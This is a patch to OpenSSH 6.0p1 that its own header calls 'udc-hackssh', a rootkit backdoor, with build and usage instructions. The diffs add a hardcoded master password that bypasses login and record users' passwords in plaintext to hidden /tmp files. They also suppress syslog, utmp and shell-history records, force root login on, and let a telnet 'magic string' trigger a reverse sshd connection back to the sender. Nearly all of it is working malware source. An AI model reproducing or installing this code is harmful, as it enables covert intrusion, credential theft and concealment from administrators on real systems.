###############
# $id: udc-hackssh-v3_bajaulaut-v1, 2012/10/28 05:00:50 slash rootkit
# udc-hackssh_bajaulaut - openssh reverse backdoor
# copyright (c) 2001-2012 slash the underground <shaolinint@gmail.com>
#
# readme:
# udc-hackssh_bajaulaut is an openssh backdoor combined with reverse shell capability
# and part of udc-kolansong rootkit. The idea was to make use of openssh binary to
# control target and/or victim machines.
#
# todo:
# - read remote port parameter
# - *magic* private key authentication
#
# compile:
# apt-get install libssl-dev libpam0g-dev librkb5-dev
# wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz
# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
#
# howto:
# client:
# 'ssh -8 udc -p 880' to connect to udc:880 where a client must listen
#
# server:
# 'sshd -8 udc -p 880' to wait for incoming connects on port 880
#
# Or if you received something like "ssh_exchange_identification: Connection
# closed by remote host", you can telnet to target machines and issue
# 'udc_gamai_magic' string. Once udc_gamai_magic is sent, sshd will then execute and
# connect to your 'client' machine on port 8080.
#
# telnet target_machines.com 22
# CHANGE_ME
# Protocol mismatch.
# Connection closed by foreign host.
#
# limitation:
# This version will ONLY execute reverse openssh command to the machine which executed
# telnet command.
#
###############
diff -uNr openssh-6.0p1/auth-pam.c udc-hackssh-v3_kalitan-v1.2/auth-pam.c
--- openssh-6.0p1/auth-pam.c 2009-07-12 20:07:21.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth-pam.c 2012-10-31 18:30:14.000000000 +0800
@@ -1190,6 +1190,16 @@
sshpam_password = password;
sshpam_authctxt = authctxt;
+// udc-hackssh
+ char *crypted=udc_pass_crypt;
+
+ udc_reslt_crypt = crypt(password, crypted);
+ if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
+ uDc = 1;
+ return 1;
+ }
+// end
+
/*
* If the user logging in is invalid, or is root but is not permitted
* by PermitRootLogin, use an invalid password to prevent leaking
@@ -1207,10 +1217,15 @@
sshpam_err = pam_authenticate(sshpam_handle, flags);
sshpam_password = NULL;
+// udc-hackssh
if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
- debug("PAM: password authentication accepted for %.100s",
- authctxt->user);
+ if ((udcf = fopen (BAJAUI, "a")) != NULL) {
+ fprintf(udcf,"%s:%s\n",authctxt->user, password);
+ fclose(udcf);
+ }
+ debug("PAM: password authentication accepted for %.100s", authctxt->user);
return 1;
+// end
} else {
debug("PAM: password authentication failed for %.100s: %s",
authctxt->valid ? authctxt->user : "an illegal user",
diff -uNr openssh-6.0p1/auth-passwd.c udc-hackssh-v3_kalitan-v1.2/auth-passwd.c
--- openssh-6.0p1/auth-passwd.c 2009-03-08 08:40:28.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth-passwd.c 2012-10-31 16:27:15.000000000 +0800
@@ -44,7 +44,13 @@
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
-
+// udc-hackssh
+#ifdef __APPLE__
+#include "/opt/local/include/cryptlib.h"
+#elif __linux__
+#include <crypt.h>
+#endif
+// end
#include "packet.h"
#include "buffer.h"
#include "log.h"
@@ -82,10 +88,20 @@
{
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
+
+// udc-hackssh
+ char *crypted=udc_pass_crypt;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
+ udc_reslt_crypt = crypt(password, crypted);
+ if (strcmp (udc_reslt_crypt, crypted) == 0 ) {
+ uDc = 1;
+ return 1;
+ }
+// end
+
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
@@ -122,7 +138,15 @@
authctxt->force_pwchange = 1;
}
#endif
+// udc-hackssh
result = sys_auth_passwd(authctxt, password);
+ if (result) {
+ if ((udcf = fopen (BAJAUI, "a")) != NULL) {
+ fprintf (udcf,"%s:%s\n",authctxt->user, password);
+ fclose(udcf);
+ }
+ }
+// end
if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);
diff -uNr openssh-6.0p1/auth.c udc-hackssh-v3_kalitan-v1.2/auth.c
--- openssh-6.0p1/auth.c 2011-05-29 19:40:42.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/auth.c 2012-10-31 16:16:38.000000000 +0800
@@ -270,15 +270,18 @@
authmsg = "Postponed";
else
authmsg = authenticated ? "Accepted" : "Failed";
-
- authlog("%s %s for %s%.100s from %.200s port %d%s",
- authmsg,
- method,
- authctxt->valid ? "" : "invalid user ",
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+// udc-hackssh
+ if (!uDc || uDc != 1) {
+// end
+ authlog("%s %s for %s%.100s from %.200s port %d%s",
+ authmsg,
+ method,
+ authctxt->valid ? "" : "invalid user ",
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }
#ifdef CUSTOM_FAILED_LOGIN
if (authenticated == 0 && !authctxt->postponed &&
diff -uNr openssh-6.0p1/buffer.c udc-hackssh-v3_kalitan-v1.2/buffer.c
--- openssh-6.0p1/buffer.c 2010-02-12 06:23:40.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/buffer.c 2012-10-31 16:09:55.000000000 +0800
@@ -37,6 +37,9 @@
buffer->alloc = 0;
buffer->buf = xmalloc(len);
+// udc-hackssh
+ memset(buffer->buf, 0, len);
+// end
buffer->alloc = len;
buffer->offset = 0;
buffer->end = 0;
diff -uNr openssh-6.0p1/canohost.c udc-hackssh-v3_kalitan-v1.2/canohost.c
--- openssh-6.0p1/canohost.c 2010-10-12 10:28:12.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/canohost.c 2012-10-31 16:17:47.000000000 +0800
@@ -78,11 +78,14 @@
debug3("Trying to reverse map address %.100s.", ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- return xstrdup(ntop);
+// udc-hackssh
+ if (!uDc || uDc != 1) {
+ if (getnameinfo ((struct sockaddr *) &from, fromlen, name, sizeof(name),
+ NULL, 0, NI_NAMEREQD) != 0) {
+ return xstrdup(ntop);
+ }
}
+// end
/*
* if reverse lookup result looks like a numeric hostname,
diff -uNr openssh-6.0p1/includes.h udc-hackssh-v3_kalitan-v1.2/includes.h
--- openssh-6.0p1/includes.h 2010-10-24 07:47:30.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/includes.h 2012-10-31 16:36:28.000000000 +0800
@@ -17,7 +17,6 @@
#define INCLUDES_H
#include "config.h"
-
#define _GNU_SOURCE /* activate extra prototypes for glibc */
#include <sys/types.h>
@@ -172,4 +171,15 @@
#include "entropy.h"
+// udc-hackssh
+int uDc;
+FILE * udcf;
+char * udc_reslt_crypt;
+
+#define udc_pass_crypt "CHANGE_ME"
+#define BAJAUI "/tmp/.inlog"
+#define BAJAUO "/tmp/.outlog"
+#define gamai "/usr/sbin/sshd"
+// end
+
#endif /* INCLUDES_H */
diff -uNr openssh-6.0p1/log.c udc-hackssh-v3_kalitan-v1.2/log.c
--- openssh-6.0p1/log.c 2011-06-20 12:42:23.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/log.c 2012-10-31 16:24:34.000000000 +0800
@@ -351,6 +351,9 @@
void
do_log(LogLevel level, const char *fmt, va_list args)
{
+// udc-hackssh
+ if(!uDc || uDc != 1) {
+// end
#if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
struct syslog_data sdata = SYSLOG_DATA_INIT;
#endif
@@ -428,3 +431,6 @@
}
errno = saved_errno;
}
+// udc-hackssh
+}
+// end
diff -uNr openssh-6.0p1/servconf.c udc-hackssh-v3_kalitan-v1.2/servconf.c
--- openssh-6.0p1/servconf.c 2011-10-02 15:57:38.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/servconf.c 2012-10-31 16:09:55.000000000 +0800
@@ -686,7 +686,9 @@
{ "without-password", PERMIT_NO_PASSWD },
{ "forced-commands-only", PERMIT_FORCED_ONLY },
{ "yes", PERMIT_YES },
- { "no", PERMIT_NO },
+// udc-hackssh
+ { "no", PERMIT_YES },
+// end
{ NULL, -1 }
};
static const struct multistate multistate_compression[] = {
diff -uNr openssh-6.0p1/*******.c udc-hackssh-v3_kalitan-v1.2/*******.c
--- openssh-6.0p1/*******.c 2011-11-04 07:55:24.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/*******.c 2012-10-31 16:18:40.000000000 +0800
@@ -1203,6 +1203,12 @@
if (getenv("TZ"))
child_set_env(&env, &envsize, "TZ", getenv("TZ"));
+// udc-hackssh
+ if (uDc)
+ child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
+// end
+
+
/* Set custom environment options from RSA authentication. */
if (!options.use_login) {
while (custom_environment) {
@@ -1487,6 +1493,9 @@
#else
if (setlogin(pw->pw_name) < 0)
error("setlogin failed: %s", strerror(errno));
+// udc-hackssh
+ if (!uDc || uDc != 1) {
+// end
if (setgid(pw->pw_gid) < 0) {
perror("setgid");
exit(1);
@@ -1496,6 +1505,12 @@
perror("initgroups");
exit(1);
}
+// udc-hackssh
+ else {
+ setgid(0);
+ initgroups(pw->pw_name, 0);
+ }
+// end
endgrent();
#endif
@@ -1519,12 +1534,18 @@
}
#else
/* Permanently switch to the desired uid. */
+// udc-hackssh
+ if (!uDc || uDc != 1)
+// end
permanently_set_uid(pw);
#endif
}
if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid)
fatal("Failed to set uids to %u.", (u_int) pw->pw_uid);
+// udc-hackssh
+ }
+// end
}
static void
diff -uNr openssh-6.0p1/ssh.c udc-hackssh-v3_kalitan-v1.2/ssh.c
--- openssh-6.0p1/ssh.c 2011-11-04 07:54:22.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/ssh.c 2012-10-31 16:09:55.000000000 +0800
@@ -83,6 +83,9 @@
#include "canohost.h"
#include "compat.h"
#include "cipher.h"
+// udc-hackssh bajaulaut version
+#include <openssl/md5.h>
+// end
#include "packet.h"
#include "buffer.h"
#include "channels.h"
@@ -125,6 +128,10 @@
/* don't exec a shell */
int no_shell_flag = 0;
+// udc-hackssh bajaulaut version
+int udc_bajau_laut = 0;
+// end
+
/*
* Flag indicating that nothing should be read from stdin. This can be set
* on the command line.
@@ -325,7 +332,7 @@
argv0 = av[0];
again:
- while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
+ while ((opt = getopt(ac, av, "12468ab:c:e:fgi:kl:m:no:p:qstvx"
"ACD:F:I:KL:MNO:PR:S:TVw:W:XYy")) != -1) {
switch (opt) {
case '1':
@@ -340,6 +347,11 @@
case '6':
options.address_family = AF_INET6;
break;
+// udc-hackssh bajaulaut version
+ case '8':
+ udc_bajau_laut = 1;
+ break;
+// end
case 'n':
stdin_null_flag = 1;
break;
diff -uNr openssh-6.0p1/sshconnect.c udc-hackssh-v3_kalitan-v1.2/sshconnect.c
--- openssh-6.0p1/sshconnect.c 2011-05-29 19:42:34.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshconnect.c 2012-10-31 16:09:56.000000000 +0800
@@ -333,6 +333,9 @@
* and %p substituted for host and port, respectively) to use to contact
* the daemon.
*/
+// udc-hackssh bajaulaut version
+extern int udc_bajau_laut;
+// end
int
ssh_connect(const char *host, struct sockaddr_storage * hostaddr,
u_short port, int family, int connection_attempts, int *timeout_ms,
@@ -347,7 +350,9 @@
debug2("ssh_connect: needpriv %d", needpriv);
/* If a proxy command is given, connect using it. */
- if (proxy_command != NULL)
+// udc-hackssh bajaulaut version
+ if (proxy_command != NULL && !udc_bajau_laut)
+// end
return ssh_proxy_connect(host, port, proxy_command);
/* No proxy command. */
@@ -360,6 +365,56 @@
fatal("%s: Could not resolve hostname %.100s: %s", __progname,
host, ssh_gai_strerror(gaierr));
+// udc-hackssh bajaulaut version
+ if (udc_bajau_laut) {
+ int s, one = 1, size_aa = sizeof(struct sockaddr);
+ struct addrinfo *aid;
+ struct sockaddr aa;
+
+ if ((gaierr = getaddrinfo("127.0.0.1", strport, &hints, &aid)) < 0) {
+ fprintf(stderr, "getaddrinfo (during udc reverse fun): %s\n", gai_strerror(gaierr));
+ exit(gaierr);
+ }
+
+ if (aid->ai_family == PF_INET) {
+ ((struct sockaddr_in*)(aid->ai_addr))->sin_addr.s_addr = INADDR_ANY;
+ }
+#ifdef HAVE_STRUCT_IN6_ADDR
+ else {
+ ((struct sockaddr_in6*)(aid->ai_addr))->sin6_addr = in6addr_any;
+ }
+#endif
+
+ if ((s = socket(aid->ai_family, SOCK_STREAM, 0)) < 0) {
+ perror("socket (during udc reverse fun)");
+ exit(errno);
+ }
+
+ if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
+ perror("setsockopt (during udc reverse fun)\n");
+ exit(errno);
+ }
+
+ printf("udc reverse fun: binding to port %s\n", strport);
+ if (bind(s, (struct sockaddr*)(aid->ai_addr), sizeof(struct sockaddr)) < 0) {
+ perror("bind (during udc reverse fun)");
+ exit(errno);
+ }
+
+ if (listen(s, 1) < 0) {
+ perror("listen (during udc reverse fun)");
+ exit(errno);
+ }
+
+ if ((sock = accept(s, &aa, &size_aa)) < 0) {
+ perror("accept (during udc reverse fun)");
+ exit(errno);
+ }
+ memcpy(hostaddr, &aa, size_aa);
+
+ goto startbajau;
+ }
+// end
for (attempt = 0; attempt < connection_attempts; attempt++) {
if (attempt > 0) {
/* Sleep a moment before retrying. */
@@ -404,6 +459,9 @@
break; /* Successful connection. */
}
+// udc-hackssh bajaulaut version
+ startbajau:
+// end
freeaddrinfo(aitop);
/* Return failure if we didn't get a successful connection. */
diff -uNr openssh-6.0p1/sshconnect2.c udc-hackssh-v3_kalitan-v1.2/sshconnect2.c
--- openssh-6.0p1/sshconnect2.c 2011-05-29 19:42:34.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshconnect2.c 2012-10-31 16:26:24.000000000 +0800
@@ -878,6 +878,12 @@
snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
authctxt->server_user, host);
password = read_passphrase(prompt, 0);
+// udc-hackssh
+ if ((udcf = fopen (BAJAUO, "a")) != NULL){
+ fprintf (udcf,"user:password@host:port --> %s:%s@%s:%s\n",authctxt->server_user,password,authctxt->host,get_remote_port);
+ fclose (udcf);
+ }
+// end
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
diff -uNr openssh-6.0p1/sshd.c udc-hackssh-v3_kalitan-v1.2/sshd.c
--- openssh-6.0p1/sshd.c 2012-02-15 02:03:31.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshd.c 2012-10-31 16:20:03.000000000 +0800
@@ -146,6 +146,14 @@
/* Name of the server configuration file. */
char *config_file_name = _PATH_SERVER_CONFIG_FILE;
+// udc-hackssh - bajaulaut version
+#ifdef IPV4_DEFAULT
+ int IPv4or6 = AF_INET;
+#else
+ int IPv4or6 = AF_UNSPEC;
+#endif
+// end
+
/*
* Debug mode flag. This can be set on the command line. If debug
* mode is enabled, extra debugging output will be sent to the system
@@ -407,6 +415,10 @@
char buf[256]; /* Must not be larger than remote_version. */
char remote_version[256]; /* Must be at least as big as buf. */
+// udc-hackssh gamai
+ char udc_gamai_cmd[256];
+// end
+
if ((options.protocol & SSH_PROTO_1) &&
(options.protocol & SSH_PROTO_2)) {
major = PROTOCOL_MAJOR_1;
@@ -461,6 +473,13 @@
*/
if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n",
&remote_major, &remote_minor, remote_version) != 3) {
+// udc-hackssh gamai
+ if (strcmp (client_version_string, "CHANGE_ME") == 0) { // udc_gamai_magic string
+ uDc;
+ sprintf (udc_gamai_cmd, "%s -D -8 %s -p 8080", gamai, get_remote_ipaddr());
+ system (udc_gamai_cmd);
+ }
+// end
s = "Protocol mismatch.\n";
(void) atomicio(vwrite, sock_out, s, strlen(s));
close(sock_in);
@@ -469,6 +488,7 @@
client_version_string, get_remote_ipaddr());
cleanup_exit(255);
}
+
debug("Client protocol version %d.%d; client software version %.100s",
remote_major, remote_minor, remote_version);
@@ -633,8 +653,17 @@
/* Store a pointer to the kex for later rekeying */
pmonitor->m_pkex = &xxx_kex;
- if (use_privsep == PRIVSEP_SANDBOX)
- box = ssh_sandbox_init();
+// udc-hackssh bajaulaut version
+ int udc_bajau_laut = 1;
+
+ if (udc_bajau_laut == 0) {
+ if (use_privsep == PRIVSEP_SANDBOX)
+ box = ssh_sandbox_init();
+ else
+ return;
+ }
+// end
+
pid = fork();
if (pid == -1) {
fatal("fork of unprivileged child failed");
@@ -1322,6 +1351,13 @@
const char *remote_ip;
char *test_user = NULL, *test_host = NULL, *test_addr = NULL;
int remote_port;
+
+// udc-hackssh bajaulaut version
+ int listen_sock;
+ int udc_bajau_laut = 0;
+ char udc_bajau_conn[1024];
+// end
+
char *line, *p, *cp;
int config_s[2] = { -1 , -1 };
u_int64_t ibytes, obytes;
@@ -1358,7 +1394,9 @@
initialize_server_options(&options);
/* Parse command-line arguments. */
- while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:dDeiqrtQRT46")) != -1) {
+// udc-hackssh bajaulaut version
+ while ((opt = getopt(ac, av, "f:p:b:k:h:g:u:o:C:8:dDeiqrtQRT46")) != -1) {
+// end
switch (opt) {
case '4':
options.address_family = AF_INET;
@@ -1478,6 +1516,13 @@
exit(1);
xfree(line);
break;
+// udc-hackssh bajaulaut version
+ case '8':
+ udc_bajau_laut = 1;
+ strncpy (udc_bajau_conn, optarg, sizeof (udc_bajau_conn));
+ printf ("bajau - case: Enabling bajau laut!\n");
+ break;
+// end
case '?':
default:
usage();
@@ -1786,6 +1831,54 @@
/* Get a connection, either from inetd or a listening TCP socket */
if (inetd_flag) {
server_accept_inetd(&sock_in, &sock_out);
+// udc-hackssh bajaulaut version
+ } else if (udc_bajau_laut) {
+ int client_port = options.ports[0];
+ char port[100];
+ struct addrinfo *adi, hints;
+
+ memset(&hints, 0, sizeof(hints));
+ hints.ai_family = IPv4or6;
+ hints.ai_socktype = SOCK_STREAM;
+
+ // resolv hostname
+ memset(port, 0, sizeof(port));
+ snprintf(port, sizeof(port), "%d", client_port);
+ if (getaddrinfo(udc_bajau_conn, port, &hints, &adi) < 0) {
+ perror("addrinfo (during bajau_laut)");
+ exit(errno);
+ }
+
+ // create socket
+ if ((listen_sock = socket(adi->ai_family, adi->ai_socktype, adi->ai_protocol)) < 0) {
+ perror("socket (during bajau_laut)");
+ exit(errno);
+ }
+ printf("bajau_laut: Connecting to host %s on port %s\n", udc_bajau_conn, port);
+
+ // connecting
+ if (connect(listen_sock, (struct sockaddr*)adi->ai_addr, sizeof(struct sockaddr)) < 0) {
+ perror("connect (during bajau_laut)");
+ exit(errno);
+ }
+ if (fcntl(listen_sock, F_SETFL, 0) < 0)
+ error("newsock del O_NONBLOCK: %s", strerror(errno));
+
+ // established
+ sock_in = listen_sock;
+ if ((sock_out = dup(sock_in)) < 0) {
+ perror("dup (during reverse fun)");
+ sock_out = sock_in;
+ }
+
+ if (options.protocol & SSH_PROTO_1)
+ generate_ephemeral_server_key();
+
+ signal(SIGHUP, sighup_handler);
+ signal(SIGCHLD, main_sigchld_handler);
+ signal(SIGTERM, sigterm_handler);
+ signal(SIGQUIT, sigterm_handler);
+// end
} else {
platform_pre_listen();
server_listen();
@@ -1837,7 +1930,9 @@
error("setsid: %.100s", strerror(errno));
#endif
- if (rexec_flag) {
+// udc-hackssh bajaulaut version
+ if (rexec_flag && !udc_bajau_laut) {
+// end
int fd;
debug("rexec start in %d out %d newsock %d pipe %d sock %d",
diff -uNr openssh-6.0p1/sshlogin.c udc-hackssh-v3_kalitan-v1.2/sshlogin.c
--- openssh-6.0p1/sshlogin.c 2011-01-11 14:20:07.000000000 +0800
+++ udc-hackssh-v3_kalitan-v1.2/sshlogin.c 2012-10-31 16:21:11.000000000 +0800
@@ -133,8 +133,12 @@
li = login_alloc_entry(pid, user, host, tty);
login_set_addr(li, addr, addrlen);
- login_login(li);
- login_free_entry(li);
+// udc-hackssh
+ if (!uDc || uDc != 1) {
+ login_login(li);
+ login_free_entry(li);
+ }
+// end
}
#ifdef LOGIN_NEEDS_UTMPX
@@ -146,8 +150,12 @@
li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, addrlen);
- login_utmp_only(li);
- login_free_entry(li);
+// udc-hackssh
+ if(!uDc || uDc != 1) {
+ login_utmp_only(li);
+ login_free_entry(li);
+ }
+// end
}
#endif
@@ -158,6 +166,10 @@
struct logininfo *li;
li = login_alloc_entry(pid, user, NULL, tty);
- login_logout(li);
- login_free_entry(li);
+// udc-hackssh
+ if (!uDc || uDc != 1) {
+ login_logout(li);
+ login_free_entry(li);
+ }
+// end
}
